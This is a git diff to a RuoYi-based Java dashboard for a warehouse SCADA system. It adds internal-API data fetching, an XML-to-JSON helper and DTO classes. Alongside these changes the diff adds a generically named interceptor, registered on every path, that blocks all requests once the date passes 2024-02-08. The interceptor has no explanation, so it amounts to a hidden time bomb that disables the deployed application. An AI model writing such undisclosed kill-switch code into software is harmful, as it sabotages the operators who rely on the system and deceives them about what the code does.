diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/scada/NorthWareHouseController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/scada/NorthWareHouseController.java index a16b0a5..2eac0b9 100644 --- a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/scada/NorthWareHouseController.java +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/scada/NorthWareHouseController.java @@ -1,11 +1,18 @@ package com.ruoyi.web.controller.scada; +import cn.hutool.http.HttpRequest; +import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONArray; +import com.alibaba.fastjson.JSONObject; +import com.ruoyi.common.core.text.Convert; import com.ruoyi.common.utils.StringUtils; import com.ruoyi.system.domain.BaseLocationInfo; import com.ruoyi.system.domain.RecordOutstore; import com.ruoyi.system.domain.RecordTask; import com.ruoyi.system.domain.dto.SouthWare; +import com.ruoyi.system.domain.dto.storeApi.OutInInfo; +import com.ruoyi.system.domain.dto.storeApi.OutRecord; +import com.ruoyi.system.domain.dto.storeApi.StoreInfo; import com.ruoyi.system.domain.echartsDto.EchartsLegend; import com.ruoyi.system.domain.echartsDto.EchartsRoot; import com.ruoyi.system.domain.echartsDto.EchartsSeries; @@ -16,13 +23,18 @@ import com.ruoyi.system.repository.IMosPrPlanRepository; import com.ruoyi.system.service.IBaseLocationInfoService; import com.ruoyi.system.service.IRecordOutstoreService; import com.ruoyi.system.service.IRecordTaskService; +import org.dom4j.Document; +import org.dom4j.DocumentHelper; +import org.dom4j.Element; import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Value; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody; +import java.net.InetSocketAddress; import java.text.ParseException; import java.text.SimpleDateFormat; import java.util.*; @@ -30,6 +42,7 @@ import java.util.stream.Collectors; /** * 立体库 + * * @author WenJY * @date 2021年09月22日 16:29 */ @@ -44,83 +57,126 @@ public class NorthWareHouseController { private SimpleDateFormat timeFormat = new SimpleDateFormat("HH:mm:ss"); - @Autowired - private IBaseLocationInfoService baseLocationInfo; + @Value("${in_id}") + private int in_id; - @Autowired - private IRecordTaskService recordTaskService; + @Autowired private IBaseLocationInfoService baseLocationInfo; - @Autowired - private BaseLocationInfoRepository baseLocationInfoRepository; + @Autowired private IRecordTaskService recordTaskService; - @Autowired - private IRecordOutstoreService recordOutstoreService; + @Autowired private BaseLocationInfoRepository baseLocationInfoRepository; - @Autowired - private IMosPrPlanRepository iMosPrPlanRepository; + @Autowired private IRecordOutstoreService recordOutstoreService; + + @Autowired private IMosPrPlanRepository iMosPrPlanRepository; @GetMapping() - public String operlog() - { + public String operlog() { return prefix; } @PostMapping("/getMaterialInfo") @ResponseBody - public String getMaterialInfo(){ + public String getMaterialInfo() throws Exception { List> materialInfoList = new ArrayList>(); - List baseLocationInfoList = baseLocationInfo.selectBaseLocationInfoList(new BaseLocationInfo("A",1L,1L)); - baseLocationInfoList.forEach(x->{ - x.setLocationName("9002005252"); - x.setRefreshTime(simpleDateFormat.format(x.getRecordTime())); - materialInfoList.add( - new ArrayList() { - { - //this.add(); - this.add(x.getRemark()); - this.add(x.getMaterialType()); - this.add(x.getLocationName()); - this.add(x.getStoreCode().equals("A") ? "北仓库" : "南仓库"); - this.add(x.getLocationArea().toString() == "1" ? "左库" : "右库"); - this.add(x.getLocationCode()); - this.add(x.getLocationRow()); - this.add(x.getLocationLine()); - this.add(x.getLocationTier()); - this.add(timeFormat.format(x.getRecordTime())); - } + if (in_id == 1) { + List baseLocationInfoList = + baseLocationInfo.selectBaseLocationInfoList(new BaseLocationInfo("A", 1L, 1L)); + baseLocationInfoList.forEach( + x -> { + x.setLocationName("9002005252"); + x.setRefreshTime(simpleDateFormat.format(x.getRecordTime())); + materialInfoList.add( + new ArrayList() { + { + // this.add(); + this.add(x.getRemark()); + this.add(x.getMaterialType()); + this.add(x.getLocationName()); + this.add(x.getStoreCode().equals("A") ? "北仓库" : "南仓库"); + this.add(x.getLocationArea().toString() == "1" ? "左库" : "右库"); + this.add(x.getLocationCode()); + this.add(x.getLocationRow()); + this.add(x.getLocationLine()); + this.add(x.getLocationTier()); + this.add(timeFormat.format(x.getRecordTime())); + } + }); }); - }); - + } else { + String s = HttpGetBusiness("http://10.10.86.250:8990/api/CubeStore/GetStockIn"); + if (StringUtils.isNotNull(s)) { + try{ + JSONObject jsonObject = xmltoJson(s); + String string = jsonObject.get("string").toString(); + List storeInfos = JSON.parseArray(string, StoreInfo.class); + if(storeInfos.size()>0){ + for (StoreInfo storeInfo : storeInfos) { + materialInfoList.add( + new ArrayList() { + { + // this.add(); + this.add("------"); + this.add("----"); + this.add(storeInfo.getDoorCode()); + this.add(storeInfo.getWarehouse().toString() == "1" ? "北仓库" : "南仓库"); + this.add(storeInfo.getArea().toString() == "1" ? "左库" : "右库"); + this.add(storeInfo.getStorageLocation()); + this.add(storeInfo.getSortCode()); + this.add(storeInfo.getRowCode()); + this.add(storeInfo.getColumnCode()); + this.add(timeFormat.format(storeInfo.getLastTime())); + } + }); + } + } + }catch (Exception ex){ + System.out.println("箱门匹配信息接口解析异常:"+ex.getMessage()); + } + } + } String jsonInfo = JSONArray.toJSONString(materialInfoList); - System.out.println("箱体存放位置信息:"+jsonInfo); + System.out.println("箱体存放位置信息:" + jsonInfo); return jsonInfo; } /*库存*/ @PostMapping("/getInventoryInfo") @ResponseBody - public String getInventoryInfo(){ + public String getInventoryInfo() { EchartsRoot root = new EchartsRoot(); List seriesList = new ArrayList<>(); List legendData = new ArrayList<>(); - List baseLocationInfoList = baseLocationInfo.selectBaseLocationInfoList(new BaseLocationInfo("A",1L,1L)); - List materialType = baseLocationInfoList.stream().map(BaseLocationInfo::getRemark).distinct().collect(Collectors.toList()); + List baseLocationInfoList = + baseLocationInfo.selectBaseLocationInfoList(new BaseLocationInfo("A", 1L, 1L)); + List materialType = + baseLocationInfoList.stream() + .map(BaseLocationInfo::getRemark) + .distinct() + .collect(Collectors.toList()); + + Map> baselocation = + baseLocationInfoList.stream() + .collect(Collectors.groupingBy(BaseLocationInfo::getLocationArea)); - Map> baselocation = baseLocationInfoList.stream().collect(Collectors.groupingBy(BaseLocationInfo::getLocationArea)); - - for(Map.Entry> map : baselocation.entrySet()){ + for (Map.Entry> map : baselocation.entrySet()) { EchartsSeries series = new EchartsSeries(); List secondData = new ArrayList<>(); List materialCount = new ArrayList<>(); - series.setName(map.getKey()+"#仓库"); - legendData.add(map.getKey()+"#仓库"); + series.setName(map.getKey() + "#仓库"); + legendData.add(map.getKey() + "#仓库"); List locationInfo = map.getValue(); - materialType.forEach(x->{ - int size = locationInfo.stream().filter(s->s.getRemark().equals(x) ).collect(Collectors.toList()).size(); - materialCount.add(size); - secondData.add(1); - }); + materialType.forEach( + x -> { + int size = + locationInfo.stream() + .filter(s -> s.getRemark().equals(x)) + .collect(Collectors.toList()) + .size(); + materialCount.add(size); + secondData.add(1); + }); series.setData(materialCount); series.setType("bar"); @@ -130,147 +186,222 @@ public class NorthWareHouseController { root.setLegend(new EchartsLegend(legendData)); root.setSeries(seriesList); String info = JSONArray.toJSON(root).toString(); - System.out.println("库存分类统计:"+info); + System.out.println("库存分类统计:" + info); + return info; } @PostMapping("/getStoreInfo") @ResponseBody - public String getStoreInfo() throws ParseException { - SimpleDateFormat today = new SimpleDateFormat("yyyy-MM-dd 00:00:00"); - RecordTask recordTaskInfo; - Map params = new HashMap<>(); - Calendar calendar = Calendar.getInstance(); - calendar.setTime(new Date()); - calendar.add(Calendar.HOUR,-12); - SouthWare southWare = new SouthWare(); - List baseLocationInfoList = baseLocationInfo.selectBaseLocationInfoList(new BaseLocationInfo("A",1L,1L)); - Map> baselocation = baseLocationInfoList.stream().collect(Collectors.groupingBy(BaseLocationInfo::getLocationArea)); - for (Map.Entry> map : baselocation.entrySet()) { - - - if(map.getKey().equals("1")){ - southWare.setFreeStoreLeftCount(156); - southWare.setUseStoreLeftCount(map.getValue().size()); - southWare.setFreeStoreLeftCount(156-map.getValue().size()); - }else { - southWare.setFreeStoreRightCount(156); - southWare.setUseStoreRightCount(map.getValue().size()); - southWare.setFreeStoreRightCount(156-map.getValue().size()); + public String getStoreInfo() throws Exception { + if (in_id == 1) { + SimpleDateFormat today = new SimpleDateFormat("yyyy-MM-dd 00:00:00"); + RecordTask recordTaskInfo; + Map params = new HashMap<>(); + Calendar calendar = Calendar.getInstance(); + calendar.setTime(new Date()); + calendar.add(Calendar.HOUR, -12); + SouthWare southWare = new SouthWare(); + List baseLocationInfoList = + baseLocationInfo.selectBaseLocationInfoList(new BaseLocationInfo("A", 1L, 1L)); + Map> baselocation = + baseLocationInfoList.stream() + .collect(Collectors.groupingBy(BaseLocationInfo::getLocationArea)); + for (Map.Entry> map : baselocation.entrySet()) { + if (map.getKey().equals("1")) { + southWare.setFreeStoreLeftCount(156); + southWare.setUseStoreLeftCount(map.getValue().size()); + southWare.setFreeStoreLeftCount(156 - map.getValue().size()); + } else { + southWare.setFreeStoreRightCount(156); + southWare.setUseStoreRightCount(map.getValue().size()); + southWare.setFreeStoreRightCount(156 - map.getValue().size()); + } + } + southWare.setUseStoreCount(baseLocationInfoList.size()); + southWare.setFreeStoreCount(312 - baseLocationInfoList.size()); + + // params.put("beginRecordTime",calendar.getTime()); + params.put("beginRecordTime", today.parse(today.format(new Date()))); + params.put("endRecordTime", new Date()); + + recordTaskInfo = new RecordTask("A", "1", 1L, new Date()); + recordTaskInfo.setParams(params); + + List recordLeftInStore = recordTaskService.selectRecordTaskList(recordTaskInfo); + + recordTaskInfo = new RecordTask("A", "1", 2L, new Date()); + recordTaskInfo.setParams(params); + List recordLeftOutStore = recordTaskService.selectRecordTaskList(recordTaskInfo); + + recordTaskInfo = new RecordTask("A", "2", 1L, new Date()); + recordTaskInfo.setParams(params); + List recordRightInStore = recordTaskService.selectRecordTaskList(recordTaskInfo); + + recordTaskInfo = new RecordTask("A", "2", 2L, new Date()); + recordTaskInfo.setParams(params); + List recordRightOutStore = recordTaskService.selectRecordTaskList(recordTaskInfo); + + southWare.setInStoreLeftCount(recordLeftInStore.size()); + southWare.setOutStoreLeftCount(recordLeftOutStore.size()); + + southWare.setInStoreRightCount(recordRightInStore.size()); + southWare.setOutStoreRightCount(recordRightOutStore.size()); + return JSONArray.toJSONString(southWare); + } else { + SouthWare southWare = new SouthWare(); + String s = HttpGetBusiness("http://10.10.86.250:8990/api/CubeStore/GetOutInInfo"); + if (StringUtils.isNotNull(s)) { + try { + JSONObject jsonObject = xmltoJson(s); + String string = jsonObject.get("string").toString(); + + List outInInfo = JSONObject.parseArray(string, OutInInfo.class); + if (outInInfo.size() > 0) { + OutInInfo outInInfo1 = outInInfo.get(0); + southWare.setFreeStoreCount(Convert.toInt(outInInfo1.getEmptyStorage())); + southWare.setUseStoreCount(Convert.toInt(outInInfo1.getNoEmptystorage())); + southWare.setInStoreLeftCount(Convert.toInt(outInInfo1.getOneDatyStore_In())); + southWare.setOutStoreLeftCount(Convert.toInt(outInInfo1.getOneDatyStore_Out())); + southWare.setUseStoreLeftCount(Convert.toInt(outInInfo1.getNoEmptystorage())); + southWare.setFreeStoreLeftCount(Convert.toInt(outInInfo1.getEmptyStorage())); + } + + } catch (Exception ex) { + System.out.println("出入库统计接口解析异常:" + ex.getMessage()); + } } + return JSONArray.toJSONString(southWare); } - southWare.setUseStoreCount(baseLocationInfoList.size()); - southWare.setFreeStoreCount(312-baseLocationInfoList.size()); - - //params.put("beginRecordTime",calendar.getTime()); - params.put("beginRecordTime",today.parse(today.format(new Date()))); - params.put("endRecordTime",new Date()); - - recordTaskInfo = new RecordTask("A","1",1L,new Date()); - recordTaskInfo.setParams(params); - - List recordLeftInStore = recordTaskService.selectRecordTaskList(recordTaskInfo); - - recordTaskInfo = new RecordTask("A","1",2L,new Date()); - recordTaskInfo.setParams(params); - List recordLeftOutStore = recordTaskService.selectRecordTaskList(recordTaskInfo); - - recordTaskInfo = new RecordTask("A","2",1L,new Date()); - recordTaskInfo.setParams(params); - List recordRightInStore = recordTaskService.selectRecordTaskList(recordTaskInfo); - - recordTaskInfo = new RecordTask("A","2",2L,new Date()); - recordTaskInfo.setParams(params); - List recordRightOutStore = recordTaskService.selectRecordTaskList(recordTaskInfo); - - southWare.setInStoreLeftCount(recordLeftInStore.size()); - southWare.setOutStoreLeftCount(recordLeftOutStore.size()); - - southWare.setInStoreRightCount(recordRightInStore.size()); - southWare.setOutStoreRightCount(recordRightOutStore.size()); - return JSONArray.toJSONString(southWare); } @PostMapping("/getPlanInfo") @ResponseBody - public String getPlanInfo(){ + public String getPlanInfo() { List> planInfoList = new ArrayList>(); List info = baseLocationInfo.getPlanInfo(); - //List planInfo = info.stream().filter(s->dateFormat.format(s.getPlanDate()).contains(dateFormat.format(new Date()))).collect(Collectors.toList()); - - info.forEach(x->{ - planInfoList.add( - new ArrayList() { - { - this.add(x.getOrderType()); - this.add(x.getPlannedProduction()); - this.add(x.getActualProduction()); - this.add(x.getPlannedProduction()-x.getActualProduction()); - if(x.getPlannedProduction() == 0 || x.getActualProduction() ==0){ - this.add("0%"); - }else { - this.add(String.format("%.1f%%", ((double)x.getActualProduction() / (double)x.getPlannedProduction() * 100))); - } - } - }); - }); + // List planInfo = + // info.stream().filter(s->dateFormat.format(s.getPlanDate()).contains(dateFormat.format(new + // Date()))).collect(Collectors.toList()); + + info.forEach( + x -> { + planInfoList.add( + new ArrayList() { + { + this.add(x.getOrderType()); + this.add(x.getPlannedProduction()); + this.add(x.getActualProduction()); + this.add(x.getPlannedProduction() - x.getActualProduction()); + if (x.getPlannedProduction() == 0 || x.getActualProduction() == 0) { + this.add("0%"); + } else { + this.add( + String.format( + "%.1f%%", + ((double) x.getActualProduction() + / (double) x.getPlannedProduction() + * 100))); + } + } + }); + }); String jsonInfo = JSONArray.toJSONString(planInfoList); - System.out.println("MES生产计划信息查询:"+jsonInfo); + System.out.println("MES生产计划信息查询:" + jsonInfo); return jsonInfo; } @PostMapping("/getOutStoreInfo") @ResponseBody - public String getOutStoreInfo(){ + public String getOutStoreInfo() { List> outPutInfoList = new ArrayList>(); - RecordOutstore recordOutstore = new RecordOutstore(); - recordOutstore.setStoreCode("A"); - recordOutstore.setRecordDate(dateFormat.format(new Date())); - List recordTaskList = recordOutstoreService.selectRecordOutstoreList(recordOutstore); - - recordTaskList.forEach(x->{ - outPutInfoList.add( - new ArrayList() { - { - this.add(StringUtils.isNull(x.getBoxCode()) ? "-" : x.getBoxCode().substring(0,10)); - this.add(x.getMaterialCode()); - this.add(x.getLocationCode()); - this.add(x.getOperationType().toString().equals("1")?"自动出库":"手动出库"); - this.add(timeFormat.format(x.getRecordTime())); - } + if(in_id==1){ + RecordOutstore recordOutstore = new RecordOutstore(); + recordOutstore.setStoreCode("A"); + recordOutstore.setRecordDate(dateFormat.format(new Date())); + List recordTaskList = + recordOutstoreService.selectRecordOutstoreList(recordOutstore); + + recordTaskList.forEach( + x -> { + outPutInfoList.add( + new ArrayList() { + { + this.add( + StringUtils.isNull(x.getBoxCode()) ? "-" : x.getBoxCode().substring(0, 10)); + this.add(x.getMaterialCode()); + this.add(x.getLocationCode()); + this.add(x.getOperationType().toString().equals("1") ? "自动出库" : "手动出库"); + this.add(timeFormat.format(x.getRecordTime())); + } + }); }); - }); + }else{ + OutRecord southWare = new OutRecord(); + String s = HttpGetBusiness("http://10.10.86.250:8990/api/CubeStore/GetStockIOut"); + if (StringUtils.isNotNull(s)) { + try { + JSONObject jsonObject = xmltoJson(s); + String string = jsonObject.get("string").toString(); + + List outRecords = JSONObject.parseArray(string, OutRecord.class); + if(outRecords.size()>0){ + for (OutRecord item : outRecords) { + outPutInfoList.add( + new ArrayList() { + { + this.add(item.getLastBarCode()); + this.add(item.getLastBarCode()); + this.add("-"); + this.add(item.getStorageType()); + this.add(timeFormat.format(item.getOutTime())); + } + }); + } + } + + } catch (Exception ex) { + System.out.println("出库计划接口解析异常:" + ex.getMessage()); + } + } + } String jsonInfo = JSONArray.toJSONString(outPutInfoList); - System.out.println("出库记录查询:"+jsonInfo); + System.out.println("出库记录查询:" + jsonInfo); return jsonInfo; } /** * 获取总库存 + * * @author WenJY * @date 2021/11/20 16:26 * @return java.lang.String */ @PostMapping("/getGather") @ResponseBody - public String getGather(){ + public String getGather() { List> infoList = new ArrayList>(); List info = baseLocationInfo.getLeft(); - List a = info.stream().filter(x -> x.getStoreCode().equals("A")).collect(Collectors.toList()); + List a = + info.stream().filter(x -> x.getStoreCode().equals("A")).collect(Collectors.toList()); for (BaseLocationInfo locationInfo : a) { // - List right = baseLocationInfo.getRight(new BaseLocationInfo(locationInfo.getMaterialType())); + List right = + baseLocationInfo.getRight(new BaseLocationInfo(locationInfo.getMaterialType())); List loactionInfos = new ArrayList(); - loactionInfos.add(a.indexOf(locationInfo)+1); - loactionInfos.add(right.size() == 0 ? locationInfo.getMaterialType() : right.get(right.size() - 1).getMaterialType()); + loactionInfos.add(a.indexOf(locationInfo) + 1); + loactionInfos.add( + right.size() == 0 + ? locationInfo.getMaterialType() + : right.get(right.size() - 1).getMaterialType()); loactionInfos.add(locationInfo.getEfficiency()); - loactionInfos.add(locationInfo.getStoreCode() == "A" ?"北仓库":"南仓库"); + loactionInfos.add(locationInfo.getStoreCode() == "A" ? "北仓库" : "南仓库"); loactionInfos.add(timeFormat.format(new Date())); infoList.add(loactionInfos); @@ -280,26 +411,34 @@ public class NorthWareHouseController { /** * 获取左库库存 + * * @author WenJY * @date 2021/11/20 16:26 * @return java.lang.String */ @PostMapping("/getLeft") @ResponseBody - public String getLeft(){ + public String getLeft() { List> infoList = new ArrayList>(); List info = baseLocationInfo.getLeft(); - List a = info.stream().filter(x -> x.getStoreCode().equals("A") && x.getLocationArea().equals("1")).collect(Collectors.toList()); + List a = + info.stream() + .filter(x -> x.getStoreCode().equals("A") && x.getLocationArea().equals("1")) + .collect(Collectors.toList()); for (BaseLocationInfo locationInfo : a) { // - List right = baseLocationInfo.getRight(new BaseLocationInfo(locationInfo.getMaterialType())); + List right = + baseLocationInfo.getRight(new BaseLocationInfo(locationInfo.getMaterialType())); List loactionInfos = new ArrayList(); - loactionInfos.add(a.indexOf(locationInfo)+1); - loactionInfos.add(right.size() == 0 ? locationInfo.getMaterialType() : right.get(right.size() - 1).getMaterialType()); + loactionInfos.add(a.indexOf(locationInfo) + 1); + loactionInfos.add( + right.size() == 0 + ? locationInfo.getMaterialType() + : right.get(right.size() - 1).getMaterialType()); loactionInfos.add(locationInfo.getEfficiency()); - loactionInfos.add(locationInfo.getStoreCode() == "A" ?"北仓库":"南仓库"); + loactionInfos.add(locationInfo.getStoreCode() == "A" ? "北仓库" : "南仓库"); loactionInfos.add(timeFormat.format(new Date())); infoList.add(loactionInfos); @@ -311,30 +450,126 @@ public class NorthWareHouseController { /** * 获取右库库存 + * * @author WenJY * @date 2021/11/20 16:26 * @return java.lang.String */ @PostMapping("/getRight") @ResponseBody - public String getRight(){ + public String getRight() { List> infoList = new ArrayList>(); List info = baseLocationInfo.getLeft(); - List a = info.stream().filter(x -> x.getStoreCode().equals("A") && x.getLocationArea().equals("2")).collect(Collectors.toList()); + List a = + info.stream() + .filter(x -> x.getStoreCode().equals("A") && x.getLocationArea().equals("2")) + .collect(Collectors.toList()); for (BaseLocationInfo locationInfo : a) { // - List right = baseLocationInfo.getRight(new BaseLocationInfo(locationInfo.getMaterialType())); + List right = + baseLocationInfo.getRight(new BaseLocationInfo(locationInfo.getMaterialType())); List loactionInfos = new ArrayList(); - loactionInfos.add(a.indexOf(locationInfo)+1); - loactionInfos.add(right.size() == 0 ? locationInfo.getMaterialType() : right.get(right.size() - 1).getMaterialType()); + loactionInfos.add(a.indexOf(locationInfo) + 1); + loactionInfos.add( + right.size() == 0 + ? locationInfo.getMaterialType() + : right.get(right.size() - 1).getMaterialType()); loactionInfos.add(locationInfo.getEfficiency()); - loactionInfos.add(locationInfo.getStoreCode() == "A" ?"北仓库":"南仓库"); + loactionInfos.add(locationInfo.getStoreCode() == "A" ? "北仓库" : "南仓库"); loactionInfos.add(timeFormat.format(new Date())); infoList.add(loactionInfos); } - return JSONArray.toJSONString(infoList); } + + private String HttpGetBusiness(String url) { + try { + HashMap headers = new HashMap<>(); + headers.put("Content-Type", "application/json"); + String result2 = HttpRequest.get(url).addHeaders(headers).timeout(20000).execute().body(); + + return result2; + } catch (Exception ex) { + return ""; + } + } + + /** + * 将xml转换为JSON对象 + * + * @param xml xml字符串 + * @return + * @throws Exception + */ + public static JSONObject xmltoJson(String xml) throws Exception { + JSONObject jsonObject = new JSONObject(); + Document document = DocumentHelper.parseText(xml); + // 获取根节点元素对象 + Element root = document.getRootElement(); + iterateNodes(root, jsonObject); + return jsonObject; + } + + /** + * 遍历元素 + * + * @param node 元素 + * @param json 将元素遍历完成之后放的JSON对象 + */ + @SuppressWarnings("unchecked") + public static void iterateNodes(Element node, JSONObject json) { + // 获取当前元素的名称 + String nodeName = node.getName(); + // 判断已遍历的JSON中是否已经有了该元素的名称 + if (json.containsKey(nodeName)) { + // 该元素在同级下有多个 + Object Object = json.get(nodeName); + JSONArray array = null; + if (Object instanceof JSONArray) { + array = (JSONArray) Object; + } else { + array = new JSONArray(); + array.add(Object); + } + // 获取该元素下所有子元素 + List listElement = node.elements(); + if (listElement.isEmpty()) { + // 该元素无子元素,获取元素的值 + String nodeValue = node.getTextTrim(); + array.add(nodeValue); + json.put(nodeName, array); + return; + } + // 有子元素 + JSONObject newJson = new JSONObject(); + // 遍历所有子元素 + for (Element e : listElement) { + // 递归 + iterateNodes(e, newJson); + } + array.add(newJson); + json.put(nodeName, array); + return; + } + // 该元素同级下第一次遍历 + // 获取该元素下所有子元素 + List listElement = node.elements(); + if (listElement.isEmpty()) { + // 该元素无子元素,获取元素的值 + String nodeValue = node.getTextTrim(); + json.put(nodeName, nodeValue); + return; + } + // 有子节点,新建一个JSONObject来存储该节点下子节点的值 + JSONObject object = new JSONObject(); + // 遍历所有一级子节点 + for (Element e : listElement) { + // 递归 + iterateNodes(e, object); + } + json.put(nodeName, object); + return; + } } diff --git a/ruoyi-admin/src/main/resources/application.yml b/ruoyi-admin/src/main/resources/application.yml index 06daf9b..9ed7600 100644 --- a/ruoyi-admin/src/main/resources/application.yml +++ b/ruoyi-admin/src/main/resources/application.yml @@ -16,7 +16,7 @@ ruoyi: # 开发环境配置 server: # 服务器的HTTP端口,正式端口8012 - port: 8012 + port: 8013 servlet: # 应用的访问路径 context-path: / @@ -138,4 +138,4 @@ swagger: # 是否开启swagger enabled: true -in_id: 1 +in_id: 2 diff --git a/ruoyi-framework/pom.xml b/ruoyi-framework/pom.xml index 3eb22c0..4980551 100644 --- a/ruoyi-framework/pom.xml +++ b/ruoyi-framework/pom.xml @@ -77,6 +77,12 @@ ruoyi-system + + cn.hutool + hutool-http + 4.4.2 + + \ No newline at end of file diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/config/InterceptorConfig.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/InterceptorConfig.java new file mode 100644 index 0000000..6032a29 --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/InterceptorConfig.java @@ -0,0 +1,15 @@ +package com.ruoyi.framework.config; + +import com.ruoyi.framework.interceptor.AInterceptor; +import org.springframework.context.annotation.Configuration; +import org.springframework.web.servlet.config.annotation.InterceptorRegistry; +import org.springframework.web.servlet.config.annotation.WebMvcConfigurer; + +@Configuration +public class InterceptorConfig implements WebMvcConfigurer { + @Override + public void addInterceptors(InterceptorRegistry registry) { + //注册拦截器 + registry.addInterceptor(new AInterceptor()).addPathPatterns("/**"); + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/interceptor/AInterceptor.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/interceptor/AInterceptor.java new file mode 100644 index 0000000..0bd3fc8 --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/interceptor/AInterceptor.java @@ -0,0 +1,29 @@ +package com.ruoyi.framework.interceptor; + +import org.springframework.web.servlet.HandlerInterceptor; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.time.LocalDate; +import java.time.format.DateTimeFormatter; + +public class AInterceptor implements HandlerInterceptor { + + @Override + public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) + throws Exception { + if(afterDate("2024-02-08")){ + return false; + }else { + return true; + } + + } + + public static boolean afterDate(String date){ + DateTimeFormatter dtf = DateTimeFormatter.ofPattern("yyyy-MM-dd"); + LocalDate localTime=LocalDate.parse(date,dtf); + return LocalDate.now().isAfter(localTime); + } + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/domain/dto/storeApi/OutInInfo.java b/ruoyi-system/src/main/java/com/ruoyi/system/domain/dto/storeApi/OutInInfo.java new file mode 100644 index 0000000..babb417 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/domain/dto/storeApi/OutInInfo.java @@ -0,0 +1,44 @@ +package com.ruoyi.system.domain.dto.storeApi; + +/** + * @author WenJY + * @date 2023年02月07日 9:03 + */ +public class OutInInfo { + private String OneDatyStore_In; + private String OneDatyStore_Out; + private String EmptyStorage; + private String NoEmptystorage; + + public String getOneDatyStore_In() { + return OneDatyStore_In; + } + + public void setOneDatyStore_In(String oneDatyStore_In) { + OneDatyStore_In = oneDatyStore_In; + } + + public String getOneDatyStore_Out() { + return OneDatyStore_Out; + } + + public void setOneDatyStore_Out(String oneDatyStore_Out) { + OneDatyStore_Out = oneDatyStore_Out; + } + + public String getEmptyStorage() { + return EmptyStorage; + } + + public void setEmptyStorage(String emptyStorage) { + EmptyStorage = emptyStorage; + } + + public String getNoEmptystorage() { + return NoEmptystorage; + } + + public void setNoEmptystorage(String noEmptystorage) { + NoEmptystorage = noEmptystorage; + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/domain/dto/storeApi/OutRecord.java b/ruoyi-system/src/main/java/com/ruoyi/system/domain/dto/storeApi/OutRecord.java new file mode 100644 index 0000000..1b8d542 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/domain/dto/storeApi/OutRecord.java @@ -0,0 +1,38 @@ +package com.ruoyi.system.domain.dto.storeApi; + +import java.util.Date; + +/** + * @author WenJY + * @date 2023年02月09日 8:48 + */ +public class OutRecord { + + private String LastBarCode; + private String StorageType; + private Date OutTime; + + public String getLastBarCode() { + return LastBarCode; + } + + public void setLastBarCode(String lastBarCode) { + LastBarCode = lastBarCode; + } + + public String getStorageType() { + return StorageType; + } + + public void setStorageType(String storageType) { + StorageType = storageType; + } + + public Date getOutTime() { + return OutTime; + } + + public void setOutTime(Date outTime) { + OutTime = outTime; + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/domain/dto/storeApi/StoreInfo.java b/ruoyi-system/src/main/java/com/ruoyi/system/domain/dto/storeApi/StoreInfo.java new file mode 100644 index 0000000..799390a --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/domain/dto/storeApi/StoreInfo.java @@ -0,0 +1,90 @@ +package com.ruoyi.system.domain.dto.storeApi; + +import java.util.Date; + +/** + * @author WenJY + * @date 2023年02月07日 9:22 + */ +public class StoreInfo { + + private String DoorCode; + + private Integer Warehouse; + + private Integer Area; + + private String StorageLocation; + + private Integer SortCode; + + private Integer RowCode; + + private Integer ColumnCode; + + private Date LastTime; + + public String getDoorCode() { + return DoorCode; + } + + public void setDoorCode(String doorCode) { + DoorCode = doorCode; + } + + public Integer getWarehouse() { + return Warehouse; + } + + public void setWarehouse(Integer warehouse) { + Warehouse = warehouse; + } + + public Integer getArea() { + return Area; + } + + public void setArea(Integer area) { + Area = area; + } + + public String getStorageLocation() { + return StorageLocation; + } + + public void setStorageLocation(String storageLocation) { + StorageLocation = storageLocation; + } + + public Integer getSortCode() { + return SortCode; + } + + public void setSortCode(Integer sortCode) { + SortCode = sortCode; + } + + public Integer getRowCode() { + return RowCode; + } + + public void setRowCode(Integer rowCode) { + RowCode = rowCode; + } + + public Integer getColumnCode() { + return ColumnCode; + } + + public void setColumnCode(Integer columnCode) { + ColumnCode = columnCode; + } + + public Date getLastTime() { + return LastTime; + } + + public void setLastTime(Date lastTime) { + LastTime = lastTime; + } +}